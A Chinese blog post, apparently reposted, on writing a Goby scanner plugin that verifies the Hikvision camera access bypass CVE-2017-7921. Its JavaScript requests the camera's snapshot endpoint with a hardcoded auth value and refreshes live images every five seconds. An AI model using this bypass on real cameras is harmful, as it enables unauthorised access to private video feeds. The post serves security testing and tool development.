0x002 开发流程
1. 注册自定义组件要触发的命令
Goby官方的开发文档里有很详细的说明,也有提供样例项目,将其下载并解压到goby/extensions目录下,然后运行goby就能看到demo了,剩下的就是改了:
exports.activate = activate;
function activate(content) {
goby.registerCommand('Hikvision', (content) => {
let path = __dirname + "/index.html?hostinfo=" + content.hostinfo; //设置打开新窗口的html文件路径,并传入当前hostinfo信息
goby.showIframeDia(path, "Hikvision登录绕过验证", "800", "600"); //打开一个800*600的iframe窗口,窗口标题为“Hikvision登录绕过验证”
});
goby.registerCommand('Hikvision_visi', (content) => {
return content.name === "Hikvision IP Camera Access Bypass(ICSA-17-124-01/CVE-2017-7921)" //对漏洞名称进行判断
});
}
exports.activate = activate;
提示: 因为要在扫描结果中存在该漏洞才能显示该组件。所以这里使用了控制组件是否显示的回调命令,它绑定在views的visible字段上,根据其返回的布尔值来决定是否显示该组件。
2. 配置视图入口点
插件的入口点,我选在漏洞列表页,需要在package.json
里进行配置,即contributes.views.vulList,填写想要的标题、对应的命令、以及控制该组件显示的回调命令。
"contributes": {
"views": {
"vulList": [
{
"command": "Hikvision",
"title": "验证",
"visible": "Hikvision_visi"
}
]
}
function GetIframeQueryString(name, id) {
var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
var r =window.parent.document.getElementById(id).contentWindow.location.search.substr(1).match(reg);
if (r != null) {
return decodeURI(r[2]);
}
return null;
}
2.拿到漏洞的ip后进行拼接,将返回的图片传给定义好的IMG标签,并吗,每5秒一次进行循环请求:
// 拼url
var url = ("http://"+GetIframeQueryString("hostinfo", "goby-iframe")+"/onvif-http/snapshot?auth=YWRtaW46MTEK");
window.onload = function () {
get()
}
setInterval(function () {
get();
}, 5000);
// 循环请求
function get(){
$("#test").attr('src',url + "&t=" + Math.random());
}
package.json
修改版本号,以及在CHANGELOG.md
新增更新说明。更新上传过程中还遇到一个bug:没有权限,但是耳东小姐姐积极沟通复现解决掉了。Goby的开发文档里写的很详细很清楚,开发整个插件也就用了一个小时的时间。当然也是因为功能比较简单,感觉没啥太大用处,主要是为了熟悉Goby的插件开发流程。理论上来说插件能够搭配Goby实现很多场景的应用,但是因为插件功能刚开放没有成为亮点,只能用JS开发也比较有限制性。
漏洞详情可参考:https://www.seebug.org/vuldb/ssvid-96469 插件开发文档:https://github.com/gobysec/GobyExtension
本文来源于互联网
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论